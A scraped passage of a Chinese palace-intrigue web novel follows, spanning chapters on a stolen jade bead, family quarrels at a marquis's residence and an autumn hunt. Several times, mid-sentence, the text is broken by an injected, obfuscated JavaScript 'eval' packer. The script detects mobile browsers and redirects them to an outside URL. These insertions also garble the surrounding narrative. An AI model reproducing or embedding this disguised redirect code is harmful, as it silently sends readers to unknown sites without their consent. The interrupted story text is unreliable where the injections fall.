天刚蒙蒙亮,客栈里就响起了一阵尖锐的叫喊声。 萧宁氏气势汹汹地从楼上冲下来,脸色铁青,双眼圆睁。掌柜的揉了揉惺忪的睡眼,强打精神迎上前去。 “客人这是怎么了?”掌柜的脸上挂着职业化的笑容,眼中却闪过一丝不易察觉的狡黠。 “怎么了?我们的钱财全没了!莫非是你们搞的鬼?”萧宁氏气得浑身发抖,声音尖利得几乎要刺破耳膜。 掌柜的微微低头,眼神飘忽:“昨夜衙门在后巷当真捉住几个小贼,你们要是遗失了物件,不妨去衙门打听打听?” 萧宁氏正要发作,却被赶来的萧泰拦住。他面色阴沉,眉头紧锁,低声道:“不过是些许银两罢了,罢了。” “罢了?”萧宁氏瞪大了眼睛,声音陡然拔高,“那可远超几两银子,那枚玉珠还藏在其中呢!” 萧泰闻言,脸色瞬间变得铁青,眼中闪过一丝慌乱。“你将那玉珠时刻带在身边?”他咬牙切齿地问道,声音低沉得仿佛从牙缝里挤出来的。 萧宁氏被他凶狠的眼神吓了一跳,声音不自觉地低了几分。“主人不是说那玉珠极其重要吗?我索性就随身携带了,以为这样最稳妥,可谁知道...” 萧泰顾不上与她理论,转身就往衙门赶去。他的脑海中只有那颗玉珠,那可是当初那人赠予桂芷的信物。倘若被贼人发觉,若是说他侵占桂芷的嫁妆也就算了,如若传他与那人有瓜葛,那萧家满门都不够抵罪的! 掌柜只顾着做生意,只是笑眯眯地问:“诸位可有意今晚继续在此留宿?若是不续租,午饭前,你们就该卷铺盖走人了。” 萧宁氏正要发作,忽然想起这是三皇子的产业,只得生生咽下到嘴边的话。她垂下眼帘,手指不安地绞在一起,心中盘算着该如何是好。 每间屋子要二十两,三个房间便是六十两,她们哪来这许多钱财糟蹋?萧宁氏咬了咬唇,终于下定决心搬走。 等萧泰垂头丧气从府衙回来时,只见萧宁氏领着全家老小和包袱在街上吵闹。敢情这片地界都归三皇子所有,要去寻个价格公道的住处,只能带着下人和包袱徒步走上两条街。 “老爷,他们纯粹是作威作福!”萧宁氏气得胸口不断起伏,眼中闪烁着愤怒的泪光。 萧虎嫌丢人,已经陪康氏去茶馆歇息了。萧菱也跟了去,只有萧柔在一旁陪着,脸色通红,低着头想劝萧宁氏,却被萧宁氏好一顿骂。 萧泰站在街头,看着自己的一家人狼狈不堪的模样,心中五味杂陈。他这才意识到,区区一个九品芝麻官,在龙都根本无法立足。贵人说得对,萧语柔就是个忘恩负义的小人,既然如此,身为她的尊长,凭什么不该管教于她? 连她的终身大事,也当由他做主!萧泰眼中闪过一丝决然,“走,去侯府!” 不就是交出苏妈妈么,他能够奉还,可萧语柔和钱老夫人休想甩掉他们全家。 听闻萧家众人到访之际,萧语柔早已陪老太太在前厅品茶。她低垂着眼帘,手指轻轻摩挲着茶杯边缘,心中却是波涛汹涌。 “人带来了吗?”老夫人问,声音平静中带着一丝期待。 “带来了,言道家仆刚刚领人过来,奴婢看了,就在外头呢。”林婆子说,脸上带着讨好的笑容。 “终于学乖了。”老太太搁下茶杯,眼中闪过一丝满意,“让他们进府吧。” 林婆子会意,亲身去迎了客。萧语柔坐在一旁,手指不自觉地捏紧了衣角,心中却没有半分轻松。她知道,这只是开始,更艰难的考验还在后头。 萧宁氏一行人方才抵达侯府时,便被侯府的气派富贵震慑住了。萧柔只飞快看了几眼,眼中闪过一丝羡慕。萧菱则心生向往,拉着萧宁氏的衣袖撒娇:“娘,这里真好看,我往后要定居此处。” “好,那就住这儿。”萧宁氏笑说,眼中却闪过一丝算计的光芒。 康氏厌烦萧菱这个小姑,故意说:“这儿是侯府,又不是萧府,小妹,你就是做客,也待不了几日罢。” 萧宁氏直接说:“萧语柔不也住了?她不仅住了,更是被赐予县主之位,为何不许兰儿安住?咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481840|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是那**的长辈,是她的亲人,她还有胆子撵我们离开?” 康氏不敢忤逆萧宁氏,陪着笑说:“您说得对。” “自然对。”萧菱哼了声,看那府中仆役身上的衣衫尽是上等布料,不由想到,若是能在此处安家,那吃的用的,定然比这帮下人过得更体面。她的眼中闪烁着贪婪的光芒,恰好一名婢女捧着一盘鲜艳夺目的糕点经过,萧菱直接道:“喂,你端的什么?” 婢女打量了众人一眼,望向林婆子。林婆子强忍着不屑之情,说:“这些人是姑爷的至亲。” 丫环闻言,这才回答:“婢子端的是红心酥点。” “红心酥?”萧菱听都没听过,但一路走来,她腹中饥肠辘辘,“递来让我品尝。” 婢女略显尴尬:“这糕点是要送去月姨娘处的。” 萧菱一听是给个姨娘的,嗤笑一声:“一个妾而已,小**你可知晓,就是奴才,本人乃是贵府的贵客。” 婢女察觉林婆子向她递眼神,这才按捺住转身离去的念头,老实地把糕点送了过去。萧菱白了这丫环一眼,抢过点心,吃了一块,还分给萧宁氏和康氏,唯独没给萧柔。 萧泰原本觉得爱女如此并无不妥,却见府中往来的仆役个个带着讥笑望向这边,下意识地生出厌恶,沉着脸说:“行了,老太太还等着我们去问候。” 萧菱不敢违逆,又割舍不下这糕点,于是掏出手帕裹了糕点藏入袖中,这才跟着领路的林婆子前行。 进了前厅,萧家人被眼前的景象惊呆了。红木家具,珍稀花瓶,镶珍珠的屏风,大家名画,无一不彰显着侯府的富贵。萧泰强作镇定行了礼,萧宁氏几人也跟着行礼,可眼珠却滴溜溜转个不停。 他们的目光落最终在了萧语柔身上。她纵使穿着朴素,那绣花缎鞋之上,皆点缀着一粒精致的珠子。萧菱嫉妒得脸都要扭曲了,不断地扯萧宁氏的衣袖。 就在这时,一个沙哑的声音传来:“老夫人!” 众人循声望去,只见被带上来的正是苏妈妈和她的孙女儿。 第八十五章 温柔乡 夜幕低垂,秋风萧瑟。萧语柔立于窗前,凝视着庭院中那株孤傲的银杏树。树叶泛黄,仿佛诉说着岁月的沧桑。她轻抚着手中的青霜月光石,眼神中闪烁着复杂的光芒。 “小姐,您还在想苏妈妈的事吗?”紫萱轻声问道,打断了萧语柔的思绪。 萧语柔转身,眉头微蹙,“苏妈妈和华华的遭遇,让我心中不安。” 紫萱上前一步,犹豫片刻后说道:“小姐,奴婢听说,那个害了苏妈妈和华华的人,似乎与桂婉柔有些牵连。” 萧语柔眸光一冷,“哦?此话怎讲?” 紫萱低声道:“前些日子,有人看见桂婉柔与一个陌生男子在府外私会。那人的描述,与华华口中所说的那个负心汉很是相像。” 萧语柔眉头紧锁,“桂婉柔...看来她比我想象的更加不简单。” 紫萱咬了咬唇,“小姐,您说...会不会是桂婉柔在背后搞鬼?” “事情恐怕没有这么简单。桂婉柔虽然心机深沉,但要做到这种程度,恐怕还力有不逮。”萧语柔轻轻摇头道 “那小姐的意思是...” 萧语柔没有直接回答,而是接着问道:“你还记得我们离开时,谁负责打扫我的房间吗?” 紫萱一愣,随即答道:“是翠竹和芙柳。翠竹前阵子染了大病,被侯爷府无情地轰了出来,而芙柳半夜上厕所时一个不留神,不慎坠入古井丢了性命。” “呵!那可真是巧啊,俩人竟同时都出了意外。” “小姐,您是说...”紫萱脸色微微泛白。 萧语柔轻叹一声,“有人在暗中布局,想要除掉所有可能泄露秘密的人。” “那...那伺候小姐沐浴的丫环呢?” “一个被嫁到远山,一个调到了长春院。” “小姐,那...那奴婢...”紫萱眼中闪过一丝恐惧。 萧语柔看出了紫萱的担忧,轻轻拍了拍她的手道,“放心,我不会让你有事的。” 她转身望向窗外,声音低沉,“紫萱,你可知道这颗青霜月光石的来历?” 紫萱摇头,“奴婢不知。” “这是杨贵妃的遗物。” 紫萱惊讶地瞪大了眼睛,“杨贵妃?就是...” “对,就是那位已经不在人世的贵妃。” 紫萱心中一凛,不敢再多问。 “这颗玉珠,恐怕就是有人要找的东西。” “小姐,那我们该怎么办?” “先不要轻举妄动。我们要小心行事,找出背后的真凶。” 紫萱点头,“奴婢明白了。” 萧语柔看着紫萱,突然问道:“紫萱,你跟了我多久了?” “从奴婢十岁起就跟着小姐了,至今已有七年。” 萧语柔轻叹,“这些年,辛苦你了。” “小姐言重了,伺候小姐是奴婢的本分。”紫萱眼中泛起泪光 “在这侯府中,能信任的人不多了。紫萱,你要多加小心。” “小姐放心,奴婢定当誓死效忠。” 萧语柔点头,“好了,天色不早了,你先下去休息吧。明日还有很多事要做。” 紫萱应声退下,临走前还不忘回头看了萧语柔一眼。 房间里重归寂静,萧语柔独自站在窗前,思绪万千。她想起了那日在宫宴上听到的只言片语,关于母亲和那位神秘的杨贵妃。种种迹象表明,这其中必有隐情。 萧语柔轻轻摩挲着手中的青霜月光石,眼神渐渐变得复杂。她想起了苏妈妈和华华的遭遇,想起了那些莫名消失的丫鬟。一切的一切,都指向一个不可告人的秘密。 她深知,自己正处于一个复杂的局中。每一步都要小心谨慎,稍有不慎,就可能万劫不复。但她并不畏惧,反而感到一丝兴奋。这是一场博弈,而她,萧语柔,绝不会轻易认输。 夜深了,院子里的银杏树在风中轻轻摇曳。萧语柔站在窗前,目光坚定。只有找出真相,才能真正掌控自己的命运。 窗外的海棠花开得正艳,粉白的花瓣随风飘落,在阳光下如同一场无声的花雨。 “把萧瑾叫进来。”她的声音淡淡的,听不出什么情绪。 萧瑾很快就进来了,她的步伐轻盈却稳重。“小姐。” “谢驸马已经返回京城?”萧语柔直接问道,手指无意识地摩挲着桌上的茶盏。 “是的。”萧瑾恭敬回答,“据说公主府晚上准备给他摆庆功酒席。据府里的下人说,驸马这次从西陲回来,整个人都变了。” 萧语柔唇角微扬:“哦?变成什么样了?” “脾气暴躁,动不动就打骂下人。”萧瑾压低声音,“还经常半夜惊醒,浑身冷汗。” 萧语柔轻轻放下茶盏,眼中闪过一丝冷意:“正好,是时候请我们的老朋友帮个忙了。” 春风拂过窗棂,带来阵阵花香,却吹不散客栈里那个男人眼中的阴霾。 穆秋煜已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481841|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经在这间客栈坐了整整一天。窗外人来人往,街市喧嚣,可这些声音仿佛都与他隔着一层厚厚的屏障。他的眼睛布满血丝,那曾经意气风发的神采早已不见,取而代之的是一种令人心悸的阴郁。 桌上的茶水早已凉透,就如同他的心一样。自从那日被桂婉柔推倒在石头上,醒来后的他就变了个人。准确地说,是一个活到四十多岁的灵魂,重新回到了二十岁的身体里。 这种感觉既让他欣喜若狂,又令他惶恐不安。记忆如潮水般涌来,前世种种在脑海中翻腾。他看着铜镜中年轻的面容,却总觉得那双眼睛沧桑得不像话。 欣喜的是重来一次的机会,惶恐的是许多事情都与他记忆中的轨迹不同了。萧语柔没有爱上他,桂婉柔与墨凌霄暗通款曲,就连那位高傲的侯府姑母也被休弃。 更让他烦躁的是,他居然对萧语柔生出了一丝说不清道不明的情愫。每次想起她清冷的眉眼,他的心就不受控制地颤动。这种感觉让他既痛苦又迷茫。 “表哥。” 身后传来熟悉的声音,带着几分刻意的柔弱。桂婉柔站在门口,一袭淡青色衣裙,明艳动人。 穆秋煜眼中闪过一丝冷意。上一世,这个女人在他失势后毫不犹豫地抛弃了他,投入了权贵的怀抱。这一世,她依然如此薄情,早早就与墨凌霄勾搭在一起。 不过,一个好用的棋子罢了。 他迅速调整表情,转身时已是一副痴情模样:“婉柔,你来了。”眼中满是思念与温柔。 他将桂婉柔拥入怀中。桂婉柔先是挣扎,纤细的手掌抵在他胸前:“表哥,这样不好......” 穆秋煜收紧手臂,在她耳边低语:“想你想得快疯了。”灼热的气息喷在她耳畔。 桂婉柔终究抵不过这般温存,渐渐沉醉在这熟悉的温暖里。她的手指揪住穆秋煜的衣襟,声音轻颤:“表哥......” “婉柔交代的事,我都办好了。”桂婉柔靠在他怀里,柔声说,“我们什么时候对付萧语柔?” “不急。”穆秋煜的手不安分地在她腰间游走,“现在的萧语柔还不足为惧。” 桂婉柔轻呼:“表哥......” “有了别人,就不要我了?”穆秋煜的声音突然冷了下来,带着几分危险的意味。 桂婉柔心软了,眼中泛起水雾:“怎么会......我心里只有表哥。” 穆秋煜趁机将她推倒在榻上。屋内春光旖旎,暧昧不已。 第八十六章 兴奋 事后,桂婉柔整理凌乱的衣裳,面颊绯红,娇嗔道:“表哥咋变得如此暴躁。” 穆秋煜看着她明艳的面容,眼底闪过一丝讥讽。这张脸,上一世不知迷惑了多少人。“因为舍不得你。” 他转而问道:“婉柔可知道罪妃萧氏的事?” 桂婉柔一愣,手上整理衣裳的动作也停了下来。罪妃萧氏是三皇子的生母,因为侯府与长公主交好,她确实知道一些内情。 “表哥为何问这个?”她警惕地看着穆秋煜。 “三皇子要置我于死地,我绝不能等死。”穆秋煜握住她的手,装出一副萧萧可怜的模样,“婉柔,帮帮我。” 桂婉柔虽然不解三皇子为何要对付表哥,但见他如此低声下气,心中不忍:“我帮你打听。” “侯府里面还保管着萧家的物件?”穆秋煜的眼中闪过一丝精光。 见桂婉柔犹豫,穆秋煜再次吻住她的唇,轻声诱哄:“婉柔,你不会见死不救吧?” 桂婉柔终究敌不过他的温柔攻势,轻轻点头:“我试试看。” 夜幕降临时,萧语柔已经按计划来到了明泽公主府外。暮色四合,天边最后一抹晚霞也渐渐消散。 府内灯火通明,处处张灯结彩,宴请宾客为谢驸马接风。欢声笑语不断传出,与府外的寂静形成鲜明对比。 明泽公主亲自为柳华整理衣冠,柔声道:“夫君,我们出去吧。宾客都等着呢。” 柳华厌恶地甩开她的手,目光阴鸷。自从西陲回来,他对昭文的恨意与日俱增。要不是她强迫他去护送军粮,他也不会陷入这般境地。每每想起那些噩梦般的经历,他就恨不得掐死这个女人。 宴席上,柳华食不知味。菜肴精美,觥筹交错,可他只觉得喉咙发痒,浑身不适。看见美妾从廊下经过,他找了个借口追了出去。 “好久不见,谢驸马。” 熟悉的声音在黑暗中响起,柳华只觉喉间一阵瘙痒,仿佛体内的蛊虫在蠢蠢欲动。他的额头渗出冷汗,声音颤抖:“是你们!” “别紧张,”萧语柔轻笑,月光下她的身影若隐若现,“我们就想让谢驸马搭把手。” “你们到底是谁?为何从西陲追到龙都?”柳华后退几步,靠在廊柱上,脸色苍白。 “驸马这是贵人多忘事啊,”萧语柔的声音依旧带着笑意,却让人不寒而栗,“西陲的事,就这么快忘了?” 柳华浑身一颤,眼前闪过那些不堪回首的画面。他咬牙切齿:“你们到底想要什么?” “很简单,”萧语柔向前一步,“替我们做事,我就给你解药。” 柳华闭上眼睛,深吸一口气。他知道,自己已经没有选择了。 桂婉柔匆匆穿过庭院,脚步急促,心跳如擂鼓。她顾不得往日的优雅,只想尽快逃离那令人窒息的场景。 萧菱和桂玥正悠闲地坐在院中嗑瓜子,目光不经意间扫过那抹匆忙的身影。 “咦,那不是桂小姐吗?怎么这么慌张?”萧菱眯起眼睛,语气中带着几分玩味。 桂玥轻叹一声,“大概又遇到什么麻烦事了吧。”她揉了揉太阳穴,“哎呀,脑袋莫名其妙开始痛了。” 萧菱眼珠一转,立刻说道:“姐姐身子一向不好,要不先去休息一下吧。” 桂玥看着萧菱掩饰不住的笑意,心中暗骂一声蠢货,面上却温柔地点头应允。待萧菱离开后,她冷笑一声:“就这智商还玩啥呢,也配与我同住听竹轩。” 萧菱一路小跑出了二门,找到正在训斥丫环的萧宁氏。她压低声音,神秘兮兮地说:“娘,我刚才看到桂婉柔鬼鬼祟祟的,好像遇到什么事了。” 萧宁氏挑了挑眉,“哦?你可听到什么了?” 萧菱摇头,“没听清萧,不过看她那慌张的样子,肯定有猫腻。” 萧宁氏若有所思,“这丫头平日里装得人模狗样的,没想到也有今天。你去打听打听,看看到底出了什么事。” 萧菱兴奋地点头,转身就要离开。萧宁氏又叫住她:“记住,别太明显了。打听消息要细水长流,慢慢来。” 萧菱恍然大悟,“娘说得对,我这就去。” 与此同时,桂婉柔独自一人回到房中,瘫坐在床边。她双手掩面,无声地哭泣着。窗外的阳光明媚,却照不进她阴霾的内心。 “我该怎么办?”她喃喃自语,眼底闪过一丝慌乱。那个不该发生的对话如梦魇般缠绕着她,挥之不去。 桂婉柔深吸一口气,强迫自己冷静下来。她知道,一旦这件事传出去,等待她的将是灭顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481842|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之灾。她必须想办法阻止这一切。 就在这时,一阵急促的脚步声传来。桂婉柔慌忙整理仪容,抹去脸上的泪痕。 “小姐,不好了!”丫鬟慌慌张张地跑进来,“府里...府里已经在传......” 桂婉柔心头一紧,“传什么?” 丫鬟支支吾吾,不敢说下去。桂婉柔强压住心中的恐慌,冷声道:“说!” “传...传说小姐您...勾引驸马......” 桂婉柔只觉得天旋地转,她扶住桌角才勉强站稳。“谁...谁在传?” 丫鬟摇头,“奴婢也不知道,好像是从后院传出来的。” 桂婉柔咬紧嘴唇,眼中闪过一丝决绝。她知道,这场风暴来得比她想象的还要快。 “你下去吧,别让人看出异常。”桂婉柔强作镇定地说。 等丫鬟离开后,她颓然坐下,脑中一片混乱。她知道,自己必须尽快想出对策,否则等待她的将是万劫不复的深渊。 与此同时,萧宁氏的院子里,萧菱兴冲冲地跑进来。“娘,我打听到了!” 萧宁氏放下手中的绣活,“说。” 萧菱压低声音,将自己听来的消息添油加醋地讲了一遍。萧宁氏听完,眼中闪过一丝阴狠的光芒。 “好啊,这桂婉柔看着端庄,原来是个水性杨花的**!”她冷笑道。 萧菱兴奋地说:“娘,咱们该怎么办?要不要告诉公主?” 萧宁氏沉思片刻,缓缓道“不急,这种事要慢慢来。先让这个消息在府里传开,看看那位高贵的小姐如何自处。” “娘说得对,我这就去找人散播消息。”萧菱连连点头。 萧宁氏拉住她,“记住,不要直接说是桂婉柔,只说是侯府的小姐,让人自己猜去。” “哦,娘真是高明!”萧菱恍然大悟。 母女俩对视一眼,眼中都闪烁着阴谋得逞的光芒。 幽谷内,萧语柔听完林婆子的汇报,轻轻挑眉。“随她们互相撕逼算了,不必插手。” 林婆子恭敬应道:“奴婢明白。小姐果然高明,这可真是借刀**啊。” 萧语柔淡淡一笑,不置可否。她知道,这场风暴才刚刚开始,真正的好戏还在后头。 第八十七章 秋围(一) 时间匆匆流逝,转眼便到了秋围的日子。萧语柔换上一身月白色的骑装,乌发高高盘起,柔和的黄丝带随意打了个漂亮的结。 她刚走出房门,就看到岑燕燕骑着高大的枣红马而来。岑燕燕一身大红骑装,英姿飒爽。 “语柔,我教你骑马!”岑燕燕兴奋地喊道。可当她看清萧语柔的装扮时,不由得愣住了。 “哇!”岑燕燕惊叫一声,飞身下马,一把将萧语柔搂住,“太可爱了!语柔,以后就当我亲妹了,我给你糖!快,叫姐姐!” 萧语柔满头黑线,努力挣脱岑燕燕的怀抱。“不!”她坚定地说。 就在这时,桂婉柔从前院走来。她脸色苍白,眼中带着泪光。岑燕燕笑着问道:“桂小姐看起来不太对劲啊?” 桂婉柔强忍怒意,勉强挤出一丝笑容:“承蒙郡主挂念了。” “我可不关心......”岑燕燕刚要开口,萧语柔连忙拉住她。 “郡主,时间不早,我们该走了。”萧语柔说着,拉着岑燕燕离开。 桂婉柔看着萧语柔轻快的背影,指尖用力陷进手心里。她知道,这场风暴才刚刚开始,真正的考验还在后面。 春日微寒,山脚下人声鼎沸。萧语柔站在人群边缘,目光扫过熙攘的贵族们,心中暗自思量着今日的局势。 “小心!”一声低喝传来,萧语柔猝不及防被人拉了一把。她回头一看,竟是钱忠。 “多谢钱公子。”萧语柔淡淡道谢,眼中却无半分感激之意。 钱忠嘴角微勾,“县主大人还是多加小心为妙。这山路崎岖,可别摔着了。” 话音未落,岑燕燕匆匆赶来,“语柔,你没事吧?”她关切地问道,目光却不经意间瞥向钱忠。 萧语柔摇头,“无妨,我们上山吧。” 三人沿着山路缓步而上。远处传来一阵嬉笑声,几位贵女聚在一起窃窃私语,目光不时扫向这边,眼中带着几分轻蔑与嘲讽。 萧语柔心中一凛,知道今日恐怕难以平静。果然,没走多远,身后便传来一声尖利的嗓音。 “哟,这不是我们的澜宁郡主吗?” 萧语柔转身,只见赵婷带着几个小姐朝这边走来。赵婷一袭红裙,明艳动人,却掩不住眼中的刻薄。 “赵小姐。”萧语柔淡淡颔首。 赵婷冷笑,“听说县主这次秋围,是跟着三皇子一起来的?” 此言一出,周围顿时响起一阵窃窃私语。萧语柔面色不变,“赵小姐何出此言?” “哎呀,”赵婷故作惊讶,“难道不是吗?全龙都谁不知道,三皇子对县主可是青眼有加呢。” 岑燕燕忍不住上前一步,“赵婷,你少在这里胡说八道!” 赵婷挑眉,“我胡说?一个克星,一名遭遇山贼劫持的倒楣蛋,不正是天造地设的一对吗?” 萧语柔眼中闪过一丝寒意,“赵小姐,慎言。” 赵婷不以为然,“怎么,说中了县主的心事?不如去三皇子府伺候三皇子吧,既全了名声,又让三殿下享受了鱼水之欢。毕竟他双腿受损行动迟缓,单凭一人恐难周全照料。” 话音刚落,“啪”的一声脆响,岑燕燕一巴掌打在赵婷脸上。 赵婷捂着脸,不可置信地瞪大眼睛,随即尖叫着扑向岑燕燕。两人顿时扭打在一起,发髻散乱,衣衫凌乱。 萧语柔上前拉扯,却被赵婷一把推开。她踉跄几步,差点摔倒,幸得钱忠及时扶住。 “都住手!”一声怒喝传来,赵王带着侍卫匆匆赶到。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481843|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵王看着满脸淤青的女儿和脸肿如猪头的赵婷,眉心的血管突突直跳。他刚要开口,却见一个太监急匆匆跑来。 “赵王殿下,”太监尖声道,“陛下命小的前来探查,此处究竟出了何事。” 赵王心知瞒不过,正欲解释,萧语柔却抢先开口:“是我打的赵小姐。” 太监惊讶地看着她,“县主,这......” 萧语柔神色淡然,“赵小姐出言不逊,我一时气愤,动了手。请皇上责罚。” 赵王闻言,眼中闪过一丝诧异。他看了看萧语柔,又看了看自己的女儿,沉声道:“既如此,本王先带小女去处理伤势。至于惩罚,还请皇上定夺。” 太监应声而去。周围的人群也渐渐散开,只留下萧语柔、岑燕燕和钱忠三人。 “语柔,你为什么要替我顶罪?”岑燕燕担忧地问。 萧语柔轻轻拍了拍她的手,“无妨。我一个孤女,顶多受些责罚。若是你动手,恐怕会连累赵王府。” 岑燕燕眼中含泪,“可是......” “好了,”萧语柔打断她,“我们还是先去准备秋围吧。” 钱忠站在一旁,目光复杂地看着萧语柔。他欲言又止,最终只是轻叹一声,转身离去。 远处传来号角声,秋围即将开始。萧语柔整理了一下衣襟,迈步向山上走去。岑燕燕紧随其后,心中既愧疚又感激。 山间林木葱郁,偶有鸟啼虫鸣。一场暗潮汹涌的较量,就此拉开帷幕。萧语柔知道,这不过是开始。在这个权力的漩涡中,她必须步步为营,才能保全自己,守护身边的人。 她深吸一口气,眼神坚定。无论前路如何艰难,她都会勇往直前。因为她知道,只有活着,才有希望改变一切。 第八十八章 秋围(二) 赵婷的脸色终于好看了些,杖责三十,这下萧语柔的双腿算是废了。她嘴角勾起一抹得意的笑容,眼中闪烁着报复的快意。 不过她显然忽略了最重要的一点-谁会相信萧语柔能拿到头名?那些从小习武练箭的贵族子弟,怕是要羞愧而死。想到这里,她的笑容更加肆意,仿佛已经看到了萧语柔在众人面前出丑的场景。 梁暮雪步履蹒跚地走来,眼泪不受控制地滚落。她的手指紧紧绞在一起,声音带着哽咽:“对不起...都是我的错,谁能料到事情竟然发展到这种地步。”她的肩膀微微颤抖,显然被内疚和自责折磨得不轻。 “有些人天生就是来害人的。”一道讥讽的声音从旁边传来,那人眼中带着几分幸灾乐祸,“不过遇上对手,谁害谁还不一定。” 岑燕燕站在一旁,冷冷地扫了说话的人一眼。那人被她的眼神震慑,想起赵婷现在还说不出话来的惨状,不由自主地缩了缩脖子,匆匆离开了。 岑燕燕气得脸颊鼓鼓的,像只愤怒的河豚。她平日里虽说性子霸道,但也知道分寸,不会真和这些世家子弟闹到你死我活的地步。此刻憋着一肚子火,却无处发泄,只能用力跺了跺脚。 “别担心,第一名一定是我们的。”萧语柔轻声说道,声音平静得不像是刚经历过杖责的人。 梁暮雪和岑燕燕听了这话,心里更加难受。她们显然以为萧语柔是在安慰她们,却不知道这句话背后隐藏着怎样的秘密。 春日的阳光透过树桂洒在地上,在林间投下斑驳的光影。秋围即将开始,倒是再没人来找麻烦。毕竟萧语柔方才那一脚,已经让众人意识到这个看似温柔的姑娘并非好惹的主。 进入林子没多久,萧语柔就看到了墨凌霄。他倚在一棵桦树旁,手持长弓,一身深蓝锦袍半敞着,露出如玉的胸膛。乌黑的长发零星垂在衣襟上,衬得他本就妖异的容貌更添几分魅惑。阳光透过树桂的缝隙洒在他身上,为他镀上一层朦胧的光晕。 岑燕燕一见他就如临大敌,紧握长弓,警惕地盯着他。她的手指不自觉地摩挲着弓弦,随时准备出手。 “墨公子这是打算用美人计引诱猎物?”萧语柔眉头微皱,语气中带着几分嘲讽。 墨凌霄脸色一僵。外头那些女子见了他,不是痴迷就是惊艳,就算害怕也掩不住欣赏。可眼前这两个,岑燕燕也就算了,萧语柔分明不是不解风情之人,却偏偏对他如此冷淡。 “语柔觉得我有这个本事?”他勾起红唇,眼中闪过一丝危险的光芒。 “没有。”萧语柔直视着他,目光坚定,“所以请让开,我非得拿下这个冠军不可。” 墨凌霄眼中闪过一丝寒意,却依然保持着表面的笑容:“你就这么有把握能拿第一?”他的声音轻柔,却带着不容忽视的威胁。 “为何不能。”萧语柔拉弓对准了他,箭尖在阳光下闪烁着冷冽的光芒。 墨凌霄收起了虚伪的笑容,冷冷道:“你就不想知道我为何要迎娶桂婉柔?”他的眼神变得深邃难测,仿佛在打量一件有趣的猎物。 “这与我何干?”萧语柔的语气依旧平静,但握弓的手却不自觉地紧了紧。 墨凌霄被她噎住,随即冷笑:“那就替我向三皇子问好。他吩咐下来的任务我都搞定了,希望他说话算话。否则...”他意味深长地看着萧语柔,“某些不可告人的秘密,这事马上就要曝光了。比如,语柔你的秘密。” 萧语柔心中一惊,手指微微颤抖,但面上却丝毫不显。墨凌霄见状,眼中闪过赞赏:“真是个有趣的,不知道臣服于...” “这种话题,不如你回去跟国舅爷讨论。”岑燕燕冷冷打断,她的声音里带着显而易见的厌恶。 墨凌霄也不恼,唇角勾起一抹意味深长的笑,转身离开了。他的背影在阳光下拉得很长,像是一道挥之不去的阴影。 “这墨凌霄,邪得很!”岑燕燕皱眉道,眼中满是担忧。 萧语柔心事重重。她早就猜到三皇子与墨凌霄有所勾结,但墨凌霄绝非表面那般简单。前世他可是让龙都闻风丧胆的**组织首领,手段之残忍令人胆寒。想到这里,她不由得攥紧了手中的弓。 林间突然传来一阵窸窸窣窣的声响,打断了她的思绪。 “中了!”岑燕燕兴奋地叫道,不顾一切地追了出去。 萧语柔却看到前方杂草下隐藏的陷阱,心头一紧,急忙去拉她。但已经来不及了,两人一起被带着滚入了陷阱之中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧语柔无言以对,只觉得这位郡主的脑回路实在令人费解。她看着岑燕燕一脸恍然大悟的表情,不由得在心里叹了口气。 悬崖下的雾气渐渐散去,露出了下方幽深的峡谷。远处传来鸟儿的鸣叫声,提醒着她们现在的处境有多危险。两人紧紧抓着绳子,小心翼翼地向上攀爬,生怕一个不慎就会坠入万丈深渊。 第八十九章 秋围(三) 岑燕燕和萧语柔跌落在洞穴中,尘土飞扬。待灰尘散去,两人才得以喘息,打量起四周的环境来。 “这地方倒是有趣。”岑燕燕拍打着衣袖上的尘土道。她一向就不是个安分的性子,从小就喜欢四处探险,这会儿反倒来了兴致。 